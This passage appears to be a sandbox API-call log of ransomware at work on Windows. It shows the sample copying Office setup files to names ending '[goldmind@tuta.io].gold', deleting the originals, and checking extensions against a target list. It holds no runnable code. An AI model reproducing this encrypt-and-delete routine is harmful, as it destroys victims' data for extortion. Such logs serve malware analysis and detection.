dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0035.227] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0035.227] GetLastError () returned 0x0 [0035.227] ReadFile (in: hFile=0x1a8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0xa40, lpOverlapped=0x0) returned 1 [0035.229] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xa50, lpOverlapped=0x0) returned 1 [0035.229] ReadFile (in: hFile=0x1a8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0035.229] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.229] SetEndOfFile (hFile=0x1ac) returned 1 [0035.229] CloseHandle (hObject=0x1ac) returned 1 [0035.230] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0035.230] SetEndOfFile (hFile=0x1a8) returned 1 [0035.231] CloseHandle (hObject=0x1a8) returned 1 [0035.231] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0035.231] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.231] lstrlenW (lpString=".doc") returned 4 [0035.231] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.231] lstrlenW (lpString=".docx") returned 5 [0035.231] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.231] lstrlenW (lpString=".pdf") returned 4 [0035.231] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.231] lstrlenW (lpString=".xls") returned 4 [0035.232] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.232] lstrlenW (lpString=".xlsx") returned 5 [0035.232] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.232] lstrlenW (lpString=".ppt") returned 4 [0035.232] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.232] lstrlenW (lpString=".zip") returned 4 [0035.232] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.232] lstrlenW (lpString=".rar") returned 4 [0035.232] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.232] lstrlenW (lpString=".bz2") returned 4 [0035.232] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.232] lstrlenW (lpString=".7z") returned 3 [0035.232] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.232] lstrlenW (lpString=".dbf") returned 4 [0035.232] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.232] lstrlenW (lpString=".1cd") returned 4 [0035.232] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.232] lstrlenW (lpString=".jpg") returned 4 [0035.232] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.232] lstrlenW (lpString=".doc") returned 4 [0035.232] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.232] lstrlenW (lpString=".docx") returned 5 [0035.232] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.232] lstrlenW (lpString=".pdf") returned 4 [0035.232] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.232] lstrlenW (lpString=".xls") returned 4 [0035.232] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.232] lstrlenW (lpString=".xlsx") returned 5 [0035.232] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.232] lstrlenW (lpString=".ppt") returned 4 [0035.232] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.232] lstrlenW (lpString=".zip") returned 4 [0035.232] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.232] lstrlenW (lpString=".rar") returned 4 [0035.232] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.232] lstrlenW (lpString=".bz2") returned 4 [0035.232] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.232] lstrlenW (lpString=".7z") returned 3 [0035.232] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.232] lstrlenW (lpString=".dbf") returned 4 [0035.232] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.232] lstrlenW (lpString=".1cd") returned 4 [0035.232] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.232] lstrlenW (lpString=".jpg") returned 4 [0035.233] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.233] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0035.233] lstrlenW (lpString="Office32WW.xml") returned 14 [0035.233] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0035.234] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=4274) returned 1 [0035.234] CloseHandle (hObject=0x1a8) returned 1 [0035.234] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0035.234] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.234] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0035.234] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0035.234] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0035.234] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0035.234] GetLastError () returned 0x0 [0035.235] ReadFile (in: hFile=0x1a8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x10b2, lpOverlapped=0x0) returned 1 [0035.236] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0035.236] ReadFile (in: hFile=0x1a8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0035.236] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xf0, lpOverlapped=0x0) returned 1 [0035.236] SetEndOfFile (hFile=0x1ac) returned 1 [0035.237] CloseHandle (hObject=0x1ac) returned 1 [0035.237] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0035.237] SetEndOfFile (hFile=0x1a8) returned 1 [0035.238] CloseHandle (hObject=0x1a8) returned 1 [0035.238] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0035.238] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0035.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.239] lstrlenW (lpString=".doc") returned 4 [0035.239] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.239] lstrlenW (lpString=".docx") returned 5 [0035.239] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.239] lstrlenW (lpString=".pdf") returned 4 [0035.239] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.239] lstrlenW (lpString=".xls") returned 4 [0035.239] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.239] lstrlenW (lpString=".xlsx") returned 5 [0035.239] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.239] lstrlenW (lpString=".ppt") returned 4 [0035.239] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.239] lstrlenW (lpString=".zip") returned 4 [0035.239] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.239] lstrlenW (lpString=".rar") returned 4 [0035.239] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.239] lstrlenW (lpString=".bz2") returned 4 [0035.239] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.239] lstrlenW (lpString=".7z") returned 3 [0035.239] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.239] lstrlenW (lpString=".dbf") returned 4 [0035.239] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.239] lstrlenW (lpString=".1cd") returned 4 [0035.239] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.239] lstrlenW (lpString=".jpg") returned 4 [0035.239] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.239] lstrlenW (lpString=".doc") returned 4 [0035.239] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.239] lstrlenW (lpString=".docx") returned 5 [0035.239] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.239] lstrlenW (lpString=".pdf") returned 4 [0035.239] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.239] lstrlenW (lpString=".xls") returned 4 [0035.239] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.239] lstrlenW (lpString=".xlsx") returned 5 [0035.239] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.239] lstrlenW (lpString=".ppt") returned 4 [0035.239] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.239] lstrlenW (lpString=".zip") returned 4 [0035.239] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.239] lstrlenW (lpString=".rar") returned 4 [0035.239] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.239] lstrlenW (lpString=".bz2") returned 4 [0035.239] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.239] lstrlenW (lpString=".7z") returned 3 [0035.239] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.240] lstrlenW (lpString=".dbf") returned 4 [0035.240] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.240] lstrlenW (lpString=".1cd") returned 4 [0035.240] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.240] lstrlenW (lpString=".jpg") returned 4 [0035.240] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.240] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0035.240] lstrlenW (lpString="ProPlusrWW.xml") returned 14 [0035.240] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0035.243] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=16852) returned 1 [0035.243] CloseHandle (hObject=0x1a8) returned 1 [0035.243] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 0x2020 [0035.243] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.244] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0035.244] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0035.244] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0035.244] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0035.244] GetLastError () returned 0x0 [0035.244] ReadFile (in: hFile=0x1a8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x41d4, lpOverlapped=0x0) returned 1 [0035.245] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0035.246] ReadFile (in: hFile=0x1a8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0035.246] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xf0, lpOverlapped=0x0) returned 1 [0035.246] SetEndOfFile (hFile=0x1ac) returned 1 [0035.246] CloseHandle (hObject=0x1ac) returned 1 [0035.247] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0035.247] SetEndOfFile (hFile=0x1a8) returned 1 [0035.248] CloseHandle (hObject=0x1a8) returned 1 [0035.248] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0035.248] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 1 [0035.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.248] lstrlenW (lpString=".doc") returned 4 [0035.248] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.248] lstrlenW (lpString=".docx") returned 5 [0035.248] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.248] lstrlenW (lpString=".pdf") returned 4 [0035.248] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.248] lstrlenW (lpString=".xls") returned 4 [0035.248] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.248] lstrlenW (lpString=".xlsx") returned 5 [0035.248] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.248] lstrlenW (lpString=".ppt") returned 4 [0035.249] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.249] lstrlenW (lpString=".zip") returned 4 [0035.249] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.249] lstrlenW (lpString=".rar") returned 4 [0035.249] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.249] lstrlenW (lpString=".bz2") returned 4 [0035.249] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.249] lstrlenW (lpString=".7z") returned 3 [0035.249] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.249] lstrlenW (lpString=".dbf") returned 4 [0035.249] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.249] lstrlenW (lpString=".1cd") returned 4 [0035.249] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.249] lstrlenW (lpString=".jpg") returned 4 [0035.249] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.249] lstrlenW (lpString=".doc") returned 4 [0035.249] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.249] lstrlenW (lpString=".docx") returned 5 [0035.249] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.249] lstrlenW (lpString=".pdf") returned 4 [0035.249] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.249] lstrlenW (lpString=".xls") returned 4 [0035.249] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.249] lstrlenW (lpString=".xlsx") returned 5 [0035.249] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.249] lstrlenW (lpString=".ppt") returned 4 [0035.249] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.249] lstrlenW (lpString=".zip") returned 4 [0035.444] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.444] lstrlenW (lpString=".rar") returned 4 [0035.444] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.444] lstrlenW (lpString=".bz2") returned 4 [0035.444] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.444] lstrlenW (lpString=".7z") returned 3 [0035.444] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.444] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.444] lstrlenW (lpString=".dbf") returned 4 [0035.444] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.444] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.444] lstrlenW (lpString=".1cd") returned 4 [0035.444] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.444] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.444] lstrlenW (lpString=".jpg") returned 4 [0035.444] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.444] Sleep (dwMilliseconds=0x64) [0035.685] Sleep (dwMilliseconds=0x64) [0036.058] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0036.058] lstrlenW (lpString="ipsptb.xml") returned 10 [0036.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0036.692] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=2246) returned 1 [0036.692] CloseHandle (hObject=0x1b4) returned 1 [0036.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0036.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0036.697] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 